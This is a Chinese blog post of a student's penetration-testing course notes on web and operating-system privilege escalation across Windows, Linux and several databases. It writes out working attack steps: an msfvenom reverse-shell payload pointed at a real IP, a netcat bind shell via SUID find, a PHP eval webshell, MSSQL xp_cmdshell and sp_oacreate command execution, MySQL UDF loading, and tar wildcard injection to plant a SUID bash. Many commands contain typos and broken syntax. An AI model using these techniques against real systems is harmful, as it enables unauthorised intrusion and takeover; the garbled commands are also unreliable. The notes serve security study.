小迪提权笔记
day58.网站权限后台漏洞第三方获取
给到一个网站,要想获取权限,可以通过后台,漏洞和第三方漏洞
通过后台获取:
后台权限(获得方式:爆破、注入猜解,弱口令等):一般网站或应用后台智能操作应用的界面内容,数据图片等信息,无法操作程序的源代码或服务器上的资源文件。(如后台功能存在文件操作的话也可以操作文件数据)
网站权限(获得方式:以上三种思路获取):查看或修改(还要看有没有锁权)程序源代码,可以进行网站或应用的配置文件读取(接口配置信息、数据库配置信息等),还能收集服务器操作系统等相关的信息,为后续系统提权做准备。
数据库权限:操作数据库的权限,数据库的增删改查等,源码或配置文件泄露,也可能是网站权限(webshell)进行的数据库配置文件读取获得
接口权限:(邮件、短信、支付等)
后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看配置文件获取)
先看功能点(文件上传,sql执行,模板修改,数据备份等),然后看思路(已知程序直接网上找相关资料,或者自己下载源码进行代码审计)
通过漏洞获取:
通过一些单点漏洞直接获取网站权限(文件上传,文件包含,RCE执行,sql注入等),部分漏洞需要组合使用,不能直接获取权限
通过第三方漏洞获取:
在网站搭建使用的编辑器或中间件或phpmyadmin会存在漏洞,可以通过相关漏洞进行获取权限
Day59 Win 溢出漏洞及 AT&SC&PS 提权
涉及的部分资源:
https://github.com/ulmon/Vulmap
https://github.com/bitsadmin/wesng
https://github.com/unamer/CVE-2018-8120
https://github.com/chroblert/MindowsVulnScan
https://ithub.com/SecWiki/windows-kernel-exploits
https//www.cnblogs.com/M0rta1s/p/11920903.html
https/docs.microsoft.comzh-cn/sysinternals/downloads/pstools
https:/githubcom/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases/tag1
#明确权限提升基础知识:权限划分
#明确权限提升环境问题:WEB及本地
#明确权限提升方法针对:针对方法适应问题
#明确权限提升针对版本:个人及服务器版本;针对方法;
#知识点必备:用户及用户组权限的划分;Windows提权命令
System 打印系统信息
Whoami 获得当前用户名
whoami/ priv 当前账户权限
Ipconfig 网络配置信息
ipconfig/ displaydns 显示DNS缓存
route print 打印出路由表
arp -a 打印arp表
Hostname 主机名
net use r 列出用户
net user UserName 关于用户的信息
net user \SMBPATH Pa$$wOrd /u:userName 连接SMB
net localgroup 列出所有组
net localgroup GROUP 关于指定组的信息
net view\127.0.0.1 会话打开到当前计算机
net session 开放给其他计算机
netsh
firewall show config 显示防护墙配置
DRIVERQUERY 列出安装的驱动
tasklist /svc 列出服务任务
dir /s foo 在目录中搜索包含指定字符的项
dir /s foo == bar 同上
SC query 列出所有服务
SC qc ServiceName 找到指定服务的路径
shutdown /r /t 0 立刻重启
type file.txt打印出内容
icacls"C: \Example' 列出权限
当已经获取一个网站权限是,上传一个大马或者一句话木马使用工具连接,通过系统溢出漏洞进行提权
首先进行信息收集,然后进行补丁筛选,然后通过msf生成木马,再通过webshell传入执行木马
Win7之前的系统,可通过计划任务自动执行cmd,得到system权限
sc Create syscmd binPath="cmd /k start" typr= own type interact
sc start syscmd
(据说能针对win7或者win8,有待考究
psexec.exe -accepteula -s -i -d notepad.exe
使用的前提为下载PSTools,针对Windows2008
案例给到的的思路点总结如下:
1.提权方法有部分适用于在不同环境,当然也有通用方法
2.提权方法也有操作系统版本区分,特性决定方法的利用面
3.提权方法有部分需要特定环境,如数据库,第三方提权
day60.MY&MS&ORA 等 SQL 数据库提权
核心:获得数据库账号密码,可以在web和本地都尝试
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:服务器开启数据库服务及获得最高权限用户密码,除Access数据库外,其他数据库基本都存在数据库提权的可能
#数据库应用提权在权限提升中的意义
#WEB或本地环境如何探针数据库应用
#数据库提权权限用户面收集等方法
#目前数据库提权对应的技术及方法等
除了access都有提权的可能
数据库提权
1.探针
端口
服务
其他
判断是否存在数据库服务
2.收集(最高权限密码)
配置文件
存储文件
暴力破解
其他方式
3.分类
MySQL
UDF
MOF
启动项
反弹shell
MSSQL
xp_cmdshell
sp_oacreate
sp_oamethod
沙盒模式
映像劫持
Oracle
普通用户
DBA用户
注入模式
Redis
Postgresql
流程:服务探针->信息收集->提权利用->获取权限
通过上传的大马,来执行sql语句
1.UDF提权知识点:(基于MYSQL调用命令执行函数)
读取网站数据库配置文件(了解其命名规则及查找技巧)
sql data inc config conn database common include等
读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
mysql数据库的密码存储在mysql数据库中
如果想要获取这个文件,我们可以下载该文件,在.MYD文件中寻找
mysql中的data文件夹中的mysql文件夹的user.MYD
@@basedir/data/数据库名/表名.myd
利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
工具爆破(root默认不支持web连接)所以可能无法爆破。脚本爆破,将脚本上传到后⻔上去,这属于本地连接本地。而工具属于电脑连接客户端16远程本地暴力猜解,服务器本地暴力猜解
利用自定义执行函数导出dll文件进行命令执行
select version() select @@basedir
手工创建plugin目录或者利用NTFS流创建
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
1.mysql<5.1 导出目录c:/windows或system32
2.mysql>=5.1 导出安装目录/lib/plugin/(这个目录默认是没有的,需要我们去创建)
点击mysql提权,将dll安装到对应的目录
完毕后,就可以命令执行了
2.MOF知识点:(基于MYSQL特性的安全问题)
导出自定义mof文件到系统目录加载
cnblogs.com/xishaonian/p/6384535.html
3.启动项知识点:(基于配合操作系统自启动)
导出自定义可执行文件到启动目录配合重启执行
将创建好的后⻔或执行文件进行服务器启动项写入,配合重启执行;
案例:MSSQL数据库提权演示-MSSQL客户端
流程:服务探针-信息收集-提权利用-获取权限
1.使用xp_cmdshell进行提权
xp_cmdshell(数据库-系统数据库-mater-可编程性-系统扩展存储过程)默认在mssql2000中是开启的,在mssql2005之后的版本中则是默认禁止的,如果用户拥有管理员sa权限则可以用sp_congifgure重新开启它
启用:EXEC sp_configure 'show advanced options',1 ;Reconfigure;EXEC sp_configure 'xp_cmdshell',1;关闭;EXEC sp_configure 'show advanced options',1;reconfigure;exec sp_config 'xp_cmdshell',0;reconfigure;执行;exec master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll恢复
exec master.sys.sp_addextendeproc 'xp_cmdshell','c:\Program
Files\Microsoft SQL server\MSSQL\Binn\xplog70.dll'
2.使用sp_oacreate提权
主要用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:EXEC sp_configure 'show advanced options' ,1;Reconfigure with override;EXEC sp_configure 'Ole Automation Procedures',1;Reconfigure with override;关闭:EXEC sp_configure 'show advanced options' ,1;Reconfigure with override;EXEC sp_configure 'Ole Automation Procedures',0;Reconfigure with override;执行:delare @shell int exec sp_oacreate 'wscript.shell',@shelloutput exec sp_oamethod @shell ,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.exe'
3.使用SQL server沙盒提权
参考资料:https://blog.51cto.com/11797152/2411770
exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行xp_regwrite会提示让我们开启
案例:Oracle数据库提权演示-自动化工具(Oracleshell)
jsp网站 后⻔不需要提权,自带system
1.普通用户模式
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以
oracle实例运行的权限执行操作系统命令
2.DBA用户模式(自动化工具演示)
拥有DBA账号密码,可以省去自己动手创建存储的繁琐步骤,一键执行测试。
3.注入提升模式:(sqlmap测试演示)
拥有一个Oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,要自己验证
day61.Redis&Postgre& 令牌窃取 & 进程注入
Redis
利用计划任务执行命令反弹shell
写ssh-keygen公钥使用私钥登录
低权限写webshell
Postgresql
CVE-2018-1058
CVE-2019-9193
演示案例:
Redis数据库权限提升-计划任务
Redis服务因配置不当,可被攻击者恶意利用。黑客借助Redis内置命令,可将现有的数据恶意清空;如果Redis以root身份运行,黑客可往服务器上写入SSH公钥文件,直接登录服务器
连接(未授权或有密码)-利用如下方法提权
参考:https://blog.csdn.net/fly_hps/articls/details/80937837
(1).利用计划任务执行命令反弹shell
(2).写ssh-keygen公钥然后使用私钥登录
(3).权限较低往web物理路径写webshell
PostgreSQL数据库权限提升
PostgreSQL是一种关系型数据库,其中9.3到11版本中存在一处‘特性’,管理员或具有“COPYTO/FROGRAM”权限的用户,可以使用这个特性执行任意命令。
提权利用的漏洞:CVE-2019-9193 CVE-2018-1058
连接-利用漏洞-执行-提权
高权限就是数据库的名字
Windows2008&7令牌窃取提升-本地
一个进程的是由某个用户执行的,可以窃取该用户的令牌
进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许
令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
本地提权实验:获取会话-利用模块-窃取令牌-提权
先生成木⻢用于反弹shell然后起监听然后进行令牌窃取
Windows2003&10进程注入提升-本地
进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有这实现权限共享机制,这类技术主要利用在Windows2008之前的操作系统上,所以我们需要学习后续的本地提权更多的手法才能针对诰颁布的系统
在主机开放8888端口,只要有人连接就将cmd反弹给对方
pexec64 32进程注入工具针对-win2008及后操作系统-(佛系)
部分涉及的资源:
https://www.blib.cn/soft/pexec.zip
https://www.tarasco.org/security/Process_lnjector/processinjector.zip
https://cnblogs.com/LyShark/p/13785619.html
day62.烂土豆 &dll 劫持 & 引号路径 & 服务权限
原理#
欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到控制的TCP终端
对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程通过一系列的Windows API调用实现的。
模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数服务型账户(IIS、MSSQL等)都有这个权限,用户级账户大多数没有这个权限。
一般从Web拿到的WebShell 都是IIS 服务器权限,是具有这个模仿权限,使用菜刀反弹meterpreter就会成功
烂土豆&&热土豆#
烂土豆比热土豆的优点:
100%可靠
全版本通杀
立即生效,不用像hot potato 那样有时候需要等到Windows更新才能使用
通过中间人攻击,将COM(NT\SYSTEM权限)在第二步挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌
必备知识点:
#令牌窃取配合烂土豆提权
单纯令牌窃取:web权限或本地提权
如配合烂土豆提权:web或数据库等权限
#不带引号服务路径安全问题
服务路径提权:web权限或本地提权
#不安全的服务权限配置问题
服务权限配置:WEB权限或本地提权(web几率小)
#补充说明:dll劫持提权及AlwaysInstallElevated等说明
dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋
AlwaysInstallElevated提权默认禁用配置,利用成功机会很少
Win2012-烂土豆配合令牌窃取提权-Web权限
如果单单用令牌窃取,权限太低,无法窃取。例如,如果是web权限(IIS类似的服务权限)
原理:参考上述图片内容,非服务类用户权限无法窃取成功(原理)
过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功
upload /root/potato.exe C:\Users\Public
cd C:\\Users\\Public
use incognito
list_tokens -uexecute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
通过webshell上传木⻢,并且执行
执行之前先在msf上开启监听
执行之后在msf看到会话
上传烂土豆并且执行(执行并非在webshell上执行,而是在MSF上执行)
在msf中没有在C盘列表中看到potato.exe文件,但通过webshell我们可以知道我们已经上传了,在C盘根目录之后再使用令牌窃取
Win2012-DLL劫持提权应用配合MSF-web权限
原理:Windows程序启动的时候需要DLL,如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预先定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1.应用程序加载的目录
2.C:\Windows\system32
3.C:\Windows\system
4.C:\windows
5.当前工作目录Current Working Directory,CWD
6.在PATH环境变量的目录(先系统后用户)
过程:信息收集(搜集服务器上其他的第三方应用)-进程调试(分析这个程序启动时调用那些dll)-制作dll并上传-替换dll-启动应用后成功
msfvenom -p windows/meterpreter/reverse_tcp
lhost=101.37.169.46 lport=6677 -f ddl >/opt/xiaodi.dll
满足条件:
有第三方软件
能够替换dll
管理员要去运行这个程序
一、介绍
1.原理:Windows服务有时被配置为与服务本身或与服务运行的目录相关的弱权限。这可能允许攻击者操纵服务,以便在其启动时执行任意代码,并将权限提升到SYSTEM。
2.利用方法:将服务的 binpath 更改为我们上传的木马文件路径,以便在服务启动时执行恶意代码从而获得system权限。
accesschk.exe工具介绍:
accesschk是一个windows系统配置检查工具,用于查看文件、注册表项、服务、进程、内核对象等的有效权限。该工具将有助于识别当前用户是否可以修改某个服务目录中的文件。
win2012-不带引号服务路径配合MSF-web,本地提权
原理:当windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,
并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径
未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
过程:检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功
wmic service get name, di splayname, pathname, startmodeI findstr
/i "Auto" I findstr /i /v "C: \Windows\\" | findstr /i /v """
该命令显示这两个地方可以操作。有安全问题的必须时目录里面带空格的
当这样执行时,系统会把C:\Program空格后面的当作参数
我们可以把一个cmd名字改为Program,这样就能运行了
上传名字为Program的木⻢,用本地启用,启动端口监听,获得了会话
day63.Linux 脏牛内核漏洞 &SUID& 信息收集
Linux提权自动化脚本利用-4个脚本
两个信息收集:LinEnum(通过webshell等权限讲脚本上传到/tmp目录(这个目录是一个临时目录,重启后会清空,一般是可以进行读写的),上传其他目录可能会因为权限不够而失败),
Linuxprivchecker(是一个python文件,前期要收集服务器是否能够运行python文件)
重点要使用/tmp# chmod +x LinEnum为它赋权两个漏洞探针:linux-exploit-suggester ,linux-exploit-suggester2(是一个pl脚本)
Linux提权SUID配合脚本演示-Aliyun(基于web权限)
漏洞成因:chmod u+s给予了suid u-s删除了suid
执行过chmod u+s后,如果用户调用了这个程序会以root权限运行
使程序在运行中受到了suid root权限的执行过程导致
提权过程:探针是否有SUID(手工或脚本)-特定SUID利用-利用吃瓜-GG
以下命令的作用是判断是否有SUID提权的可能性
find / -user root -prem -4000 -print 2>/dev/null
find / -prem -u=s -type f 2>/dev/null
find / -user root -prem -4000 -exec ls -ldb { } \;
也可以用脚本来判断
检测有没有这个东⻄
参考利用:https://pentestlab.blog/2017/09/25/suid-executables/
touch xiaodi
find xiaodi -exec whoami \;find xiaodi -exec netcat -lvp 5555 -e /bin/sh \;netcat xx.xx.xx.xx 5555
使用冰蝎链接webshell
打开MSF启动监听,在冰蝎上选择反弹shell,选择Metepreter,在MSF上按照冰蝎显示出来的命令敲,点击给我连
MSF上显示会话已连接,并且权限是www-data
可以将信息收集脚本先上传至MSF在上传到目标机,也可以通过冰蝎的文件管理系统
查看以下的信息看是否有SUID提权的可能
看到有一个find,有SUID提权
Linux提权本地配合内核漏洞演示-Mozhe(本地权限)Ubuntu 16.04漏洞复现
CVE-2017-16995
提权过程:连接-获取可利用漏洞-下载或上传EXP-编译EXP-给权限执行-GG
gcc 45010.c -o 45010
chmod +x 45010
./45010
Id
Linux提权脏牛内核漏洞演示-linux-exploit-suggester
内核提权整个过程:(Linux-exploit-suggest获取信息哦)
vulhub(https://www.vulnhub.com/)靶机:探针目标-CMS漏洞利用-脚本探针提权漏洞-利用内核提权内核漏洞提权过程:寻可用-下exp-上/exp-编译exp-执行(无权限用chmod)
namp 192.168.76.0/24
nmap -p1 -65535 192.168.76.141
search drupl
day64.Linux 定时任务 & 环境变量 & 数据库
LInux提权本地环境变量安全-aliyun
配合SUID进行环境变量提权-本地用户环境
手写调用文件-编译-复制文件-增加环境变量-执行触发
gcc demo.c -o shell
cp /bin/sh /tmp/ps
export PATH=/tmp:PATH
./shell
将 /bin目录下的sh复制到/tmp下改名为ps 到/tmp目录下,如果输入ps则执行的是ps命令,而如果输入的是./ps则执行的是sh、
修改了环境变量后,如果现在输入ps,则会直接执行/tmp目录下的ps(实际上是sh)
ps有suid权限
两个条件:
赋值了suid权限
需要本地用户(如果是webshll权限export PATH=/tmp:PATH执行不了)
Linux提权本地定时任务安全-Aliyun
#第一种:路径问题(没有实验成功)
利用计划任务指向的文件的相对路径解析问题
cat /etc/crontab
echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' >
/home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash
计划任务的test没有写为绝对路径
计划任务会默认执行在bin目录中的目标文件
攻击者可以在用户目录下创建一个同名文件
#第二种:命令问题(一般是本地提权)
利用通配符配合命令参数自定义命令实现提权
不安全定时任务备份命令
cd /home/undead/script; tar czf /tmp/backup.tar.gz *
echo 'cp /bin/basn /tmp/bash;chmod +s /tmp/bash' >
/home/undead/script/test.sh
echo " " > "--checkpoint-action=exec=sh tesh.sh"
echo " " >--checkpoint=1
参考:https://www.cnblogs.com/manong--/p/8012324.html
将--checkpoint-action=exec=sh tesh.sh --checkpoint=1这两个文件放到要打包的目录下
cd /home/undead/script; tar czf /tmp/backup.tar.gz * 命令的*会接受文件名,就变成了
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh tesh.sh
执行了test.sh
suid提权,执行bash就有了root权限
如果不是tar命令,而是其他命令,则要看其他命令是否支持调用执行
Linux提权第三方服务数据库MYSQL_UDF-Vulnhub
Vulnhub某靶机-探针IP及端口-利用漏洞获取web权限-信息收集-查看数据库配置文件-利用Mysql提权Linux(Mysql版本区别同Windows)
#探针IP及端口
nmap 192.168.76.0/24
#利用phpmailer漏洞进行修改并反弹
python D:/Myproject.40974.py nc -lvp 4444
#写入后⻔利用菜刀连接方便操作
echo '<?php eval($_POST[x]);?>' >1.php
上传信息收集脚本进行提权信息收集
./LinEnum.sh
翻阅数据库配置文件获取root密码
#利用Mysql提权 searchsploit
下载mysql udf poc进行编译(建议在本地完成,有可能目标没有gcc)
wget https://www.exolpit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shard -o raptor_udf.so raptor_udf.o
mv raptor_udf.so 1518.so
下载1518到目标服务器(也可以通过webshell上传)
wget https://xx.xx.xx.xx/1518.so
54进入数据库进行UDF导出
数据库导出 直接放在那个目录没有权限
use mysql;
create table foo(line blob0);
本文作者:juejuezi
本文链接:https://www.cnblogs.com/juejuezi/p/17559421.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步